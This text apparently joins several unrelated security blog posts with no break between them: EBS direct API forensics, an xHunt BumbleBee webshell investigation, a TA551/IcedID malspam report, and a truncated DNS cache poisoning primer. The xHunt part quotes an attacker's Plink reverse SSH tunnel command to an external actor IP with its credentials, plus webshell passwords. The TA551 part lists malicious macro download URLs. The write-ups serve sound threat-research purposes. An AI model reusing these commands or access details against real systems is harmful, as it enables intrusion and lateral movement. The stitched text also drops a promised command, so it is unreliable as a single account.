Tools to take advantage of these APIs are evolving quickly. AWS is actively releasing supporting tools on GitHub for customers. Notably, disaster recovery software provider Veeam integrated this new API into its technology in July. Discussions around the APIs’ applications have appeared scarce since then, but according to a blog published at the time of their release, “Programmatic Access to EBS Snapshot Content,” “These APIs are designed for developers of backup/recovery, disaster recovery, and data management products and services, and will allow them to make their offerings faster and more cost-effective.”
But this release of EBS direct APIs is not limited to potential DR applications. In relation to the work of Crypsis (a Palo Alto Networks company that provides cybersecurity professional services including digital forensics and incident response (DFIR), offensive security and proactive work), EBS direct APIs could be used to interact with AWS in ways not previously seen. Generally, with large-scale innovation come people who will try to optimize, compromise or defend with it. In this blog, we will examine how EBS direct APIs could potentially be used defensively and for analysis within DFIR matters, as well as cover additional security considerations.
As we mentioned, supporting tools to use EBS direct APIs are just beginning to be released by AWS, and as such, do not cover the wide range of applications we will be discussing in this blog. Because of the importance of these APIs and their impact on the security world, we have also created tools, provided at the end of this blog, to assist others in utilizing EBS direct APIs’ security potential.
Background on EBS direct APIs
Prior to the release of EBS direct APIs, EBS snapshots were incremental, point-in-time backups of volumes (similar to hard drives). If your company has ever taken an Amazon Machine Image (AMI) of a server in AWS, that would have generated a collection of snapshots. The snapshots are stored in Amazon S3, but they cannot be fetched or used like typical S3 objects. We commonly heard about this in our interactions with customers. Based on feedback that customers would like to interact with their EBS volumes in a different manner, AWS released EBS direct APIs, increasing accessibility.
EBS direct APIs make this block data content (the actual bytes) available to authorized API users directly, addressing the previous issue. They also potentially challenge some existing assumptions around how snapshots are handled when customers are conducting security monitoring.
Note several of these operational capabilities follow a central theme we’ve seen driving previous tool innovation – simplification. Previously, an Amazon Elastic Compute Cloud (EC2) instance and conversion from snapshot to volume (or a similar workflow) was required in order to read snapshot data. In other words, what used to take an instance is now accomplished with an API call.
Usage in Defense
Across the security industry, some key security and forensics software has been released via versioned AMIs. When this occurs, a developer can intentionally, or more frequently, accidentally, insert hard-coded secrets files, like passwords or keys, into the release. When the version is released, that data is then exposed, resulting in a potential security incident, a compliance violation or a disruption to business-critical workflows. When in an efficient environment, these AMIs may not be built by a human at all (e.g., packer.io), to avoid having the code/configuration be automatically audited. EBS direct APIs now allow you to compare against the previous-version release for hard-coded keys, passwords, etc. This now gives developers and organizations additional certainty prior to the release of an update that there are no secrets or sensitive information hard coded within this version. With the ability to see incremental data, it becomes a gigabyte-scale (or less if you’re especially quiet on-disk) transaction, rather than a terabyte-scale transaction.
In our own testing, Crypsis took a normal Ubuntu 20.04 LTS image and made a few modifications – deploying an AWS credentials file, moving them around on disk, creating a user and resetting a user password. It’s worth noting that, by design, a public image’s underlying snapshots don’t respond to the EBS direct APIs, so we worked off our own private base image. We then logged in, moved a hard-coded secrets file on disk and snapshotted it again. We compared the two snapshots and automatically found the hard-coded secrets within nine seconds. The entire scan, if it was on the last possible block, was 34MB. We were able to achieve a similar result with a snapshot that was two snapshots distant with a backdoor Linux user. The Linux password “shadow” entry we generated in the test environment was detected.
Usage in Digital Forensics and Incident Response
Prior to this API release, Crypsis had investigated AWS compromises where the client was prepared enough to have a snapshot of a server both immediately before and after a compromise – a helpful situation for any forensic comparison, inside or outside of the cloud. These snapshots could produce a useful, differential result through a variety of software when converted to a volume. However, there were limitations:
You had to have an EC2 instance.
You needed to create volumes from the snapshots.
You then got two bit-by-bit volumes of the “before-and-after” state, and could compare them at that point.
Like most similar engagements, you had to actually have a solution to compare the two.
Many DFIR options require time and resources, particularly when implemented at scale, and the four situations listed above are no exception. With the release of the EBS direct APIs, not only can you download the incremental bytes of the latest snapshot, but you can also list changed blocks with a single API call, possibly allowing investigators to immediately identify what bytes changed during the course of compromise. They simply have to belong to the same server or be similarly related to one another.
Theoretically, it’s possible that an authorized researcher could take a forensic image directly off EBS direct APIs rather than restoring and mounting it, but (1) Crypsis is thus far unaware of a reliable way to identify “parents” of snapshots simply based off of the snapshot ID, and (2) the development effort would need to go into ensuring they’re stitched together properly on disk. Due to this, most companies would probably prefer to just pay for the EC2 imaging server as it stands today.
Security Considerations With EBS Direct APIs
As the EBS direct APIs allow for the block-by-block exploration of snapshots, customers should only assign these identity and access management (IAM) permissions to IAM users and roles which require them. For example, if an IAM user with the ebs:GetSnapshotBlock permission attached was compromised, an attacker could download snapshots directly to their local system. An attacker is not required to launch an instance in the targeted account to view the data.
As described in the defensive section, the ability of the EBS direct APIs to scan incremental snapshots or otherwise compare snapshots could also make it easier for an attacker to identify any sensitive files added to snapshots between versions.
Customers who make use of the EBS direct APIs, or any IAM permissions, should follow the principle of least privilege to limit the impact of compromised credentials. The EBS Direct API documentation provides examples of how customers can limit the access to snapshots made between a specific time, or only those with a specific tag.
It’s worth noting that all usage of the EBS Direct APIs is logged in the customer’s CloudTrail records. AWS customers also have the option to put service control policies in place to prevent the usage of any API, even if admin credentials are compromised. It’s also possible to create an AWS Config rule to alert an organization’s security operations center on the use of any EBS Direct APIs.
Tools
As research and development around EBS direct APIs is still emerging, a significant portion of the potential applications described in this blog do not have tooling to support them yet. In the spirit of innovation, we are excited to contribute to these new applications. We have collected what we have developed so far at this GitHub link. One of these tools was used on an incident response engagement with a customer to isolate an event log entry on disk during an attacker period that almost immediately led to an attacker’s IP address.
Conclusion
Even if some early marketing of EBS direct APIs centered on disaster recovery, they can be useful for much more. There are many applications for this new technology, far beyond one industry. In this blog, we have shared the potential application in defensive and DFIR usage, security considerations and new tools to allow users to explore the potential of these APIs. With tooling still emerging, we’ve tried to anticipate or otherwise motivate a research trend around these APIs. As cloud technologies evolve, we have an obligation to consider how these APIs impact security.
In September 2020, we began investigating a Microsoft Exchange server at a Kuwaiti organization that a threat group compromised as part of a continued xHunt campaign. This investigation resulted in the discovery of two new backdoors called TriFive and Snugy, which we discussed in a prior blog, as well as a new webshell that we call BumbleBee that we will explain in greater detail in this blog. We use this name because the color scheme of the BumbleBee webshell includes white, black and yellow, as seen in Figure 1.
The actor used the BumbleBee webshell to upload and download files to and from the compromised Exchange server, but more importantly, to run commands that the actor used to discover additional systems and to move laterally to other servers on the network. We found BumbleBee hosted on an internal Internet Information Services (IIS) web server on the same network as the compromised Exchange server, as well as on two internal IIS web servers at two other Kuwaiti organizations. As mentioned in our prior xHunt Campaign blog, we still do not know the initial infection vector used to compromise the Exchange server, as this appears to have occurred prior to the logs we were able to collect.
We observed the actor interacting directly with the BumbleBee webshell on the compromised Exchange server of the Kuwaiti organization, as this server was accessible from the internet. The actor used Virtual Private Networks (VPNs) provided by Private Internet Access when directly accessing BumbleBee on internet-accessible servers. The actor would frequently switch between different VPN servers to change the external IP address of the activity that the server would store in the logs. Specifically, the actor changed the IP address to appear to be from different countries, including Belgium, Germany, Ireland, Italy, Luxembourg, the Netherlands, Poland, Portugal, Sweden and the United Kingdom. We believe this is an attempt to evade detection and make analysis of the malicious activities more difficult. We also observed the actor switching between different operating systems and browsers, specifically Mozilla Firefox or Google Chrome on Windows 10, Windows 8.1 or Linux systems. This suggests the actor has access to multiple systems and uses this to make analysis of the activities more difficult, or that there are multiple actors involved, who have differing preferences for operating systems and browsers.
In addition to using VPNs, the actor used SSH tunnels to interact with BumbleBee webshells hosted on internal IIS web servers that are not accessible directly from the internet at all three Kuwaiti organizations. The commands executed on the servers via BumbleBee suggest that the actor used the PuTTY Link (Plink) tool to create SSH tunnels to access services internal to the compromised network. We observed the actor using Plink to create an SSH tunnel for TCP port 3389, which suggests that the actor used the tunnel to access the system using Remote Desktop Protocol (RDP). We also observed the actor creating SSH tunnels to internal servers for TCP port 80, which suggests the actor used the tunnel to access internal IIS web servers. We believe that the actor accessed these additional internal IIS web servers to leverage file uploading functionality in internal web applications to install BumbleBee as a method of lateral movement.
The threat group involved in the xHunt campaign compromised an Exchange server at a Kuwaiti organization and installed a webshell that we call BumbleBee. We call the webshell BumbleBee because the color scheme of the webshell includes white, black and yellow, as seen in Figure 1. BumbleBee is pretty straightforward. It allows an attacker to execute commands and upload and download files to and from the server. The interesting part of BumbleBee is that it requires an actor to supply one password to view the webshell and a second password to interact with the webshell.
Figure 1. BumbleBee webshell used by xHunt actor to run commands on Microsoft Exchange Server.
To view the BumbleBee webshell, the actor must provide a password in a URL parameter named parameter. Otherwise, the form used to interact with BumbleBee will not display in the browser. To check the supplied password for authentication, the webshell will generate an MD5 hash of the parameter value and check it with a hardcoded MD5 hash, which in the BumbleBee sample hosted on the compromised Exchange server we observed was an MD5 hash of 1B2F81BD2D39E60F1E1AD05DD3BF9F56 for the password string fkeYMvKUQlA5asR. Once displayed, BumbleBee provides the actor three main functionalities:
Executing commands via cmd /c
Uploading files to the server to a specified folder (c:\windows\temp by default).
Download files from the server.
To carry out any of these functions, the actor must supply a second password (in the field with the added “password” label in Figure 1). The BumbleBee webshell will generate an MD5 hash of the password and check it with a hardcoded MD5 hash before carrying out the functionality. The MD5 hash checked prior to carrying out the actor’s desired actions was 36252C6C2F616C5664A54058F33EF463, but we were unfortunately unable to determine the string form of this password. While we did not know the password required to use BumbleBee’s functionality, we were able to determine the commands executed via the webshell by analyzing logs from the compromised Exchange server, which we will discuss in detail in a later section of this blog.
While carrying out our analysis, we found a second BumbleBee webshell that contained different MD5 hashes for viewing the webshell and executing commands, which were A2B4D934D394B54672EA10CA8A65C198 and 28D968F26028D956E6F1199092A1C408, respectively. We determined that the hash of A2B4D934D394B54672EA10CA8A65C198 was for the password TshuYoOARg3fndI, but we were unable to determine the string for the second hash. This webshell was hosted at an internal IIS web server at the same Kuwaiti organization where the original BumbleBee was found on a compromised Exchange server. We also found this specific BumbleBee sample hosted on internal IIS web servers at two other organizations in Kuwait. We were able to collect endpoint logs from an internal IIS web server at one of the two Kuwaiti organizations to determine the commands executed via BumbleBee, which we will also discuss in a later section of this blog.
Interactions With Compromised Microsoft Exchange Server
To determine the actor’s activities regarding the compromised Exchange server of a Kuwaiti organization, we collected IIS server logs from the Exchange server and the logs generated for the system by Cortex XDR. Within the IIS logs, we were able to observe the HTTP POST requests generated when the actor issued commands via the BumbleBee webshell installed on the compromised Exchange server. Using the IIS logs, we were also able to observe the actor logging into a compromised email account via Outlook Web App and carrying out specific activities once logged in, such as viewing emails and searching for other email accounts on the compromised network.
Unfortunately, the compromised Exchange server cannot log the data within the POST requests, so while we know how many commands were issued from these logs, we do not know the actual commands that the actor executed. Also, we were only able to collect 34 days’ worth of logs from the period between Jan. 31, 2020, and Sept. 16, 2020, which did not include all the IIS logs from the compromised Exchange server. Due to these large gaps in logs, we do not have a complete picture of the activity or even visibility into the beginning of the actor’s interactions with the compromised Exchange server. For example, the IIS logs show the first BumbleBee webshell activity on Feb. 1, 2020, but they also show the TriFive backdoor logging into a compromised email account every five minutes starting at 12:02 AM UTC on Jan. 31, 2020. The TriFive beacons every five minutes suggest it was repeatedly running via the scheduled task discussed in our previous blog on the backdoors related to this incident, which also suggests that the actor had already gained sustained access to the compromised Exchange server before what our collected logs show.
Using the IIS logs we were able to collect from the compromised Exchange server, we were able to put together a timeline of the actor’s activity, including interactions with the BumbleBee webshell. On Feb. 1 and July 27, 2020, the actor logged into the Exchange server via Outlook Web App using compromised credentials. The actor used the search functionality within Outlook Web App to search for email addresses, including searching for the domain name of the compromised Kuwaiti organization to get a full list of email addresses, as well as specific keywords, such as helpdesk. We also saw the actor viewing emails in the compromised account’s inbox, specifically emails from service providers and technology vendors. Additionally, the actor viewed alert emails from a Symantec product and Fortinet’s FortiWeb product. The act of searching for emails to the helpdesk and viewing security alert emails suggests that the threat actor was interested in determining whether the Kuwaiti organization had become aware of the malicious activities.
In regard to the BumbleBee webshell activity, the important pieces of information in the IIS logs used to generate a timeline were:
Timestamp of the HTTP requests.
Actor’s IP address.
User-agent in HTTP request provides the actor’s operating system and browser version.
ClientId in the URL parameters is a unique identifier for the client provided by the Exchange server via a server-side cookie.
Table 1 in the Appendix provides the timeline of activity regarding the actor’s use of the BumbleBee webshell, which began on Feb. 1, 2020, according to the logs we were able to collect. While creating this timeline, we noticed a few interesting observables and behaviors exhibited by the actor when interacting with BumbleBee, including:
All but one of the IP addresses used by the actor are associated with a VPN provided by Private Internet Access, with the other IP address belonging to FalcoVPN.
The actor switched between VPN servers in different locations to change IP address and to appear to originate from different countries, specifically Belgium, Germany, Ireland, Italy, Luxembourg, the Netherlands, Poland, Portugal, Sweden and the United Kingdom.
The actor used a combination of operating systems and browsers when interacting with BumbleBee, specifically FireFox ( ) or Chrome ( ) on Windows 10 ( ), Windows 8.1 ( ) or Linux systems ( ).
Commands Executed via BumbleBee
As we previously mentioned, the compromised Exchange server of a Kuwaiti organization does not log the POST data within the IIS logs, so we were unable to extract the commands run on the BumbleBee webshell. However, we used overlapping timestamps to correlate the activity in the IIS logs with the command prompt activity seen in Cortex XDR logs to determine the commands executed on the server. Unfortunately, we did not have visibility into the commands executed on BumbleBee until Sept. 16, 2020, when Cortex XDR was installed on the compromised Exchange server in response to the suspicious activity. We were also able to determine the commands run on the BumbleBee webshell hosted on the internal IIS web server at one of the two other Kuwaiti organizations as well.
Based on the Cortex XDR logs, the actor spent three hours and 37 minutes on Sept. 16, 2020, running commands via the BumbleBee webshell installed on the compromised Exchange server. Table 2 in the Appendix shows all the commands and the MITRE ATT&CK technique identifiers that best describe the activities carried out. The commands show the actor:
Performing network discovery (T1018) using ping and net group commands, as well as PowerShell (T1059.001), to find additional computers on the network.
Performing account discovery (T1087) using the whoami and quser commands.
Determining the system time (T1124) using the W32tm and time commands.
Creating an SSH tunnel (T1572) using Plink (RTQ.exe) to a remote host.
Using RDP (T1021.001) over the SSH tunnel to control the compromised computer.
Laterally moving (T1570) to another system by mounting a shared folder, copying Plink (RTQ.exe) to a remote system and using Windows Management Instrumentation (WMI) (T1047) to create an SSH tunnel for RDP access.
Removing evidence of their presence by deleting (T1070.004) BumbleBee after they were done issuing commands.
The commands listed in Table 2 in the Appendix also show the actor using Plink (RTQ.exe) to create an SSH tunnel to an external IP address 192.119.110[.]194, as seen in the following command:
echo y | c:\windows\temp\RTQ.exe 192.119.110[.]194 -C -R 0.0.0.0:8081:<redacted IP #2>:3389 -l bor -pw 123321 -P 443
The IP address overlaps with other related infrastructure that we will discuss in a later section of this blog. Most importantly, the username and password of bor and 123321 used to create the SSH tunnel overlaps directly with prior xHunt activity. These exact credentials were listed within the cheat sheet found within the Sakabota tool, which provided an example command that the actor could use to create SSH tunnels using Plink. We believe the actor used the example command from the cheat sheet as a basis for the commands they used to create the SSH tunnels via BumbleBee.
The actor creates these SSH tunnels to connect to non-internet accessible RDP services on the Windows system, specifically to use RDP to interact with the compromised system and to use Graphical User Interface (GUI) applications. The actor also uses these SSH tunnels to move laterally to other systems on the network, specifically to access internal systems that are not remotely accessible from the internet, as depicted in Figure 2.
Figure 2. Visualization of xHunt actor accessing an internal system from an SSH tunnel created on the internet accessible server hosting BumbleBee.
In addition to analyzing commands executed on the compromised Exchange server, we also analyzed the commands executed on the BumbleBee webshell at an internal IIS web server hosted at one of the two other Kuwaiti organizations. On Sept. 10, 2020, we found that the actor ran several commands to perform network and user account discovery. Additionally, the actor used BumbleBee to upload a second webshell with a filename of cq.aspx. The actor used this second webshell to run a PowerShell script that issued SQL queries to a Microsoft SQL Server database.
The actor first issued a SQL query to check the version of SQL server, followed by the actor issuing two additional queries that were very specific to the web application running on the IIS web server. The PowerShell script used to issue the SQL queries is very similar to scripts that were included in a Microsoft Technet forum post titled Running SQL via PowerShell, which suggests the actor may have used this forum post as a basis for the PowerShell script. We were unable to obtain the second webshell, as the actor deleted it via the BumbleBee webshell when they were finished. Table 3 in the Appendix shows the commands executed via BumbleBee on Sept. 10, 2020.
The logs on the IIS web server hosting the BumbleBee webshell used to issue the commands in Table 3 only included internal IP addresses for the source of the activity. The internal IP addresses suggested this web server was not publicly accessible and did not expose the actor’s source IP address. However, all of the attempts to access BumbleBee and run the commands in Table 3 had 192.119.110[.]194:8083 as the host in the URL of the referrer field within the web server logs. This external IP address in the referrer field suggests that the actor was accessing BumbleBee via an SSH tunnel. The IP address in the referrer field is also the same as in the command issued to create the SSH tunnels for RDP access that we observed on the compromised Exchange server, as shown in Table 2.
File Uploader and SSH Tunnels
During our research, we found a second BumbleBee webshell that was hosted on an internal IIS web server at the initial Kuwaiti organization, as well as on internal IIS web servers at two other Kuwaiti organizations. This BumbleBee webshell had different passwords to view and run commands compared to the first sample we analyzed. The second BumbleBee webshell required the actor to include the password TshuYoOARg3fndI within a URL parameter aptly named parameter. As with the initial BumbleBee sample, we do not know the password the actor must include to be able to run commands on the webshell.
By analyzing artifacts on the internal IIS web server, we were able to determine that on July 16, 2020, the actor ran similar commands to create SSH tunnels using Plink as those seen in Table 2 in the Appendix. We determined the actor executed commands that use the same username and password as seen in the xHunt cheat sheet, but with a different external IP address controlled by the actor, as in the following:
These commands differ from those used to create the SSH tunnel on the compromised Exchange server that allowed the actor to connect to the server using RDP over TCP port 3389. The commands above attempt to create a tunnel to allow the actor to access web servers hosted at other internal servers over TCP port 80. We believe the actor used these SSH tunnels to gain access to web servers on other internal networks with hopes of finding similar file uploading functionality on those servers. If found, we believe the actor would use the file uploading functionality to upload a webshell to compromise the remote server for lateral movement.
We checked the IIS logs that contained BumbleBee webshell activity and found three external IP addresses within the URLs of the referrer field of inbound HTTP requests. The presence of these IP addresses in the referrer field suggests that the actor used the SSH tunnels to access the web servers by including the following IP and TCP ports in the URL field of their browser:
142.11.211[.]79:8080
142.11.211[.]79:8081
91.92.109[.]59:1234
91.92.109[.]59:1255
91.92.109[.]59:1288
91.92.109[.]59:1289
192.119.110[.]194:8083
Related xHunt Infrastructure
The inbound requests to the BumbleBee webshell hosted on the compromised Exchange server did not provide any decent pivot points to other xHunt infrastructure, as all the external IP addresses were of VPN servers the actor used when interacting with the webshell. Fortunately, we were able to extract known xHunt infrastructure used as the remote servers for the SSH tunnels that the actor created to access systems via RDP and internal web services. The three external servers used for the SSH tunnels were 192.119.110[.]194, 142.11.211[.]79 and 91.92.109[.]59, which provided overlaps with other infrastructure seen in the chart in Figure 3.
Figure 3. Infrastructure associated with xHunt servers used for SSH tunnels.These three IP addresses used for the remote location of the SSH tunnel resolved to the domains ns1.backendloop[.]online and ns2.backendloop[.]online. More recently, these two domains have resolved to an IP address of 192.255.166[.]158, which may suggest that the actor is using a server at this IP address in current operations. The 91.92.109[.]59 IP address also resolved to various subdomains on the following domains, suggesting that they are also part of the actor’s infrastructure:
The domain windowsmicrosofte[.]online contains the substring microsofte, which was seen in the Hisoka C2 domain of microsofte-update[.]com as mentioned in our initial publication on xHunt’s attacks on Kuwaiti shipping and transportation organizations. Unfortunately, we have not seen any of these domains used by the actor within our telemetry, so we cannot determine their purpose within the actor’s operations.
Conclusion
The xHunt campaign continues as the actor installed a webshell we call BumbleBee on a compromised Exchange server of a Kuwaiti organization, which we found hosted on an internal IIS web server on the same network. We also discovered BumbleBee on two internal IIS web servers at two other Kuwaiti organizations as well. While we know the actor used the file uploading functionality of a web application to install BumbleBee onto internal IIS web servers, we are still unsure if the actor installed BumbleBee on the compromised Exchange server by exploiting a vulnerability or by moving laterally from another system on the network.
The actor used BumbleBee to run commands on the compromised servers at the three Kuwaiti organizations, including commands to discover user accounts and other systems on the network, as well as commands to move laterally to other systems on the network. Additionally, the actor created SSH tunnels to access systems via RDP and to access internal web servers from external servers controlled by the actor. The actor used the same username and password for the SSH tunnels that we observed within the cheat sheet included in the Sakabota tool, which was developed and exclusively used by the actor.
The external servers used by the actor for the SSH tunnels were seen in activity at two of the three Kuwaiti organizations, which suggests this actor reuses infrastructure when interacting with multiple target networks. These external servers also resolved to several related domains, suggesting that they are not only used to establish SSH tunnels, but used more generally for infrastructure across other portions of their operations.
From this analysis, we determined that the actor prefers to use VPNs provided by Private Internet Access when interacting directly with the targeted networks to conceal their true location. The actor would also switch VPN servers often while issuing commands on the webshell to make the activity appear to originate in many different countries. The actors also used a VPN when logging into compromised email accounts on the Exchange server of the Kuwaiti organization, in which they specifically looked for helpdesk-related emails and emails generated by security alerts. The attempts to conceal their location and the focus on viewing emails that might notify administrators of the compromised network of the attacker’s presence may explain how the actor was able to maintain a presence on the compromised network for many months.
Palo Alto Networks Next-Generation Firewall customers are protected from the attacks outlined in this blog with the following security subscriptions:
Threat Prevention signatures “BumbleBee Webshell File Detection” and “BumbleBee Webshell Command and Control Traffic Detection” detects BumbleBee webshell activity.
Actor’s related infrastructure has been categorized as malicious in URL Filtering and DNS Security.
TA551 (also known as Shathak) is an email-based malware distribution campaign that often targets English-speaking victims. The campaign discussed in this blog has targeted German, Italian and Japanese speakers. TA551 has historically pushed different families of information-stealing malware like Ursnif and Valak. After mid-July 2020, this campaign has exclusively pushed IcedID malware, another information stealer.
This blog provides an overview of TA551, as well as previous activity from this campaign. We also examine changes from this campaign since our previous blog about TA551 pushing Valak in July 2020.
From mid-July through November 2020, TA551 has remained consistent in its infection process. A flow chart for the chain of events is shown in Figure 1.
Figure 1. Chain of events for TA551 (Shathak) from July through November 2020.
The initial lure is an email spoofing an email chain. These email chains are retrieved from email clients on previously infected hosts. The message has an attached ZIP archive and a message informing the user of a password necessary to open the attachment.
After opening the ZIP archive, the victim finds a Microsoft Word document with macros. If the victim enables macros on a vulnerable Windows computer, the victim’s host retrieves an installer DLL for IcedID malware. This will infect a vulnerable Windows computer. See FIgures 2-7 for a recent example targeting a Japanese-speaking victim.
Figure 2. An example of TA551 email targeting a Japanese-speaking victim on Nov. 4, 2020.Figure 3. Using password from the message to open the ZIP archive.Figure 4. Screenshot of Word document from the ZIP archive.Figure 5. Traffic from an infection filtered in Wireshark.Figure 6. Files and directories created during the infection process on a Windows host.Figure 7. Scheduled task to keep the IcedID infection persistent on an infected Windows host.
TA551 Switches to IcedID
We have a GitHub repository where we track recent TA551 activity. The repository contains information on each wave of attack from TA551 since July 6, 2020. Starting on July 14, 2020, we have only seen IcedID malware from these waves of attack.
Since July 14, 2020, these waves of malspam consistently targeted English-speaking victims until Oct. 27, 2020, when we started seeing Japanese templates for the Word documents. TA551 consistently targeted Japanese-speaking victims from Oct. 27-Nov. 20, 2020. After approximately three weeks of Japanese-focused attacks, TA551 switched back to English-speaking victims starting on Nov. 24, 2020.
Regardless of the targeted group, TA551 continues to push IcedID as its malware payload.
History of TA551
We have traced TA551 as far back as February 2019, and since that time, we have noted the following characteristics:
TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. It sends copies of these email chains to recipients of the original email chain.
The spoofed email includes a short message as the most recent item in the chain. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password.
File names for the ZIP archives use the name of the company being spoofed in the email. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip.
In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names.
These password-protected ZIP attachments contain a Word document with macros to install malware.
File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed.
URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed.
TA551 in 2019
Figure 8 shows the earliest email we can confirm from this campaign, dated Feb. 4, 2019. It targeted an English-speaking recipient and pushed Ursnif malware.
Figure 8. Example of TA551 malspam from February 2019.
The following files are associated with the above example:
File description: Example of Windows EXE retrieved by Word macro – an installer for Ursnif
Note how the URL from the above example ends in .cab. This pattern was fairly consistent for URLs generated by macros from TA551 Word docs until late October 2020.
Figure 11 shows an email from this campaign dated Dec. 17, 2019. It targeted a Japanese-speaking recipient and pushed Ursnif malware.
Figure 11. Example of TA551 malspam from December 2019.
The following files are associated with the above example:
File description: Example of Windows DLL retrieved by Word macro -- an installer for Valak
At this point, the document names had changed format. This is when we started seeing several different names for the extracted Word documents from each day of attack.
Figure 14 shows an email from this campaign dated May 22, 2020. It targeted an English-speaking recipient and pushed Valak malware.
Figure 14. Example of TA551 malspam from May 2020.
The following files are associated with the above example:
File description: Example of Windows DLL retrieved by Word macro -- an installer for Valak
By this time, the password format for ZIP attachments changed to three digits followed by two letters, and the template style had also been updated.
We continued to see Valak pushed by TA551 through early July 2020. Of note, Valak is a malware downloader, and we frequently saw IcedID as follow-up malware from these infections.
However, by mid-July 2020, TA551 started pushing IcedID directly from the Word document macros.
Recent Developments
In recent weeks, TA551 has changed traffic patterns. For several months prior to Oct. 19, 2020, URLs generated by Word macros to retrieve installer binaries followed a noticeable pattern. This pattern includes:
.php?l= in the URL path
URLs end with .cab
Since Oct. 20, 2020, these patterns have changed dramatically. Table 1 shows the changes starting in October.
Date
URL example
2020-10-14
GET /docat/hyra.php?l=dybe18.cab
2020-10-16
GET /muty/sohaq.php?l=tali18.cab
2020-10-19
GET /biwe_zibofyra/ripy_lani.php?l=qedux18.cab
2020-10-20
GET /_bxlzcpjlmpxlkzblf_zhlsplspz/wtlmwrqnnxfwgzzlkvzdbvnp_mphdqpggxfljvffj_.php?l=chfon4.ppt&lhe=hcqjvtfezhsogtrdxdfs
2020-10-27
GET /update/qqOQccpolFmwCmTnTmURcfZPByI_lqzPNvPfTfvLQjqdJtpOYeWT/WRFlVYjJTKqWAf_KhCjsSselY/tbqxj12
2020-10-28
GET /update/djMqKxc_BZCF_BJlRmjKmdcihghiSj/wJuzcnBhc/MD/qE_ZWFKbwfWZMCCWgfHU_DNxAcBRlHncRHr/csyj9
2020-10-29
GET /update/XTZrbyvClXzcfZcJGZSmDWBthSBXjRKw/chti6
2020-11-03
GET /update/VvZWoYOIotoWV_KUywQtEUVUPjvNYMYYnLnvWWOLA/fZcXYRwGyzMRZcvzHZrDe/gzlov4
2020-11-04
GET /update/JvYqBVMJCxSDX/nNBk/XhEfjPMvaV_dDFlXqGZNCDTLhTXlPWxEsGjTdzfQBUZCvkBqWOgjo/xrei12
2020-11-05
GET /update/jcja/yCGHnwRmyMVTeCqljgln/JTHBIgVESrNVdrgJMGGNdiqqGxCNACjXDBjkMJKFPKvJNYXFVbcxYvbS/iuyala13
2020-11-19
GET /share/ZSzE0sjR23GkF3VwZi_nqFH2B5lqPUVKxwNC/ahtap3
2020-11-24
GET /share/kvNqzh1tF4Y8zyxtL/HQpK6K42Wr8SP9PLJSqxc5h/ROwPcKsG/dbULREqlb1Kj0_RRT/Dfnj/lxnt10
Table 1. URL patterns generated by macros from Word docs distributed by TA551.
By Oct. 27, 2020, URLs generated by TA551 macros include English terms like update or share at the beginning of the HTTP GET request. These URLs end with a series of four to six lowercase English letters followed by a number as low as 1 to as high as 18. These URLs are not consistent in length, and they can be very short or very long.
For example, through early November 2020, IcedID DLLs created by installer DLLs were initially saved to the victim’s AppData\Local\Temp directory, and the file name started with a tilde (~) and ended with .dll as illustrated earlier in Figure 6. In November 2020, we started to see a change: the initial IcedID DLLs saved to the victim’s AppData\Local directory with a file name ending in .dat as shown in Figure 15.
Figure 15. Artifacts seen from a TA551 IcedID infection on Nov. 24, 2020.
These changes may be an effort by malware developers to evade detection. At the very least, they might confuse someone conducting forensic analysis on an infected host.
Such changes are commonly seen in malware families as they evolve over time. We can expect to see more changes with IcedID malware and the TA551 campaign during the coming months.
Finally, the run method for installer DLLs retrieved by TA551 Word macros changed during November 2020:
Old method: regsvr32.exe[installer DLL filename]
New method: rundll32.exe[installer DLL filename],ShowDialogA -r
However, up-to-date information is necessary to ensure proper detection for a constantly-evolving campaign like TA551.
Conclusion
TA551 has evolved since we last reviewed this threat actor deploying Valak malware in July 2020. We frequently saw IcedID as follow-up malware in previous months from Valak and Ursnif infections installed by TA551. This threat actor appears to have eliminated malware downloaders like Valak and Ursnif and is now deploying IcedID directly.
Although TA551 has settled on IcedID as its malware payload, we continue to see changes in traffic patterns and infection artifacts as this campaign evolves.
Organizations with adequate spam filtering, proper system administration and up-to-date Windows hosts have a much lower risk of infection. Palo Alto Networks Next-Generation Firewall customers are further protected from this threat with the Threat Prevention security subscription, which detects the malware. AutoFocus customers can track this activity using the TA551 and IcedID tags.
Indicators of Compromise
This GitHub repository currently has more than 50 text files containing various indicators associated with TA551 from mid-July 2020-November 2020. Each text file represents a specific day the campaign was active, and it contains SHA256 hashes, document names, associated URLs and other related data, some of which we’ve also shared through our Twitter handle @Unit42_Intel.
Every now and then, a new domain name system (DNS) vulnerability that puts billions of devices around the world at risk is discovered. DNS vulnerabilities are usually critical. Just imagine that you browse to your bank account website, but instead of returning the IP address of your bank website, your DNS resolver gives you the address of an attacker’s website. That website looks exactly the same as the bank’s website. Not only that, but even if you take a look at the URL bar, you won’t see anything wrong because your browser actually thinks this is the website of your bank. This is an example of DNS cache poisoning.
In this article, I will explain what DNS is as well as review the history of DNS cache poisoning vulnerabilities, from past vulnerabilities to more advanced ones that were discovered in recent years.
The vulnerabilities I chose to cover are the bread and butter of almost all DNS cache poisoning attacks that took place in the last 20 years.
The domain name system is a hierarchical and decentralized naming system for computers, services or other resources connected to the internet (or a private network). It associates various information with domain names assigned to each of the participating entities.
In simple terms, DNS is a protocol that is mostly used to convert a name into an IP address. When one browses http://www.example.com, the www.example.com domain name is being translated to the actual IP address, for example, 93.184.216.34.
What is a DNS Server?
DNS servers, usually referred to as name servers, are devices or programs that provide DNS resolution. DNS clients, which are built into most desktop and mobile operating systems, interact with DNS servers in order to translate names to IP addresses.
It is important to remember that eventually there are only two types of servers: an authoritative name server and a recursive name server. The authoritative name server is the name server that is in charge of the domain – the last in the chain. Everything that isn’t an authoritative name server is a recursive one. For example, routers’ DNS servers, ISPs’ DNS servers and Kubernetes clusters’ DNS servers are all recursive name servers. All those recursive servers behave the same way. Eventually, after some recursions, they contact the authoritative name server of the desired domain (there are servers that perform functions of both authoritative and recursive name servers, which we will not discuss in this blog).
How Does It Work?
Figure 1. How the DNS protocol works.
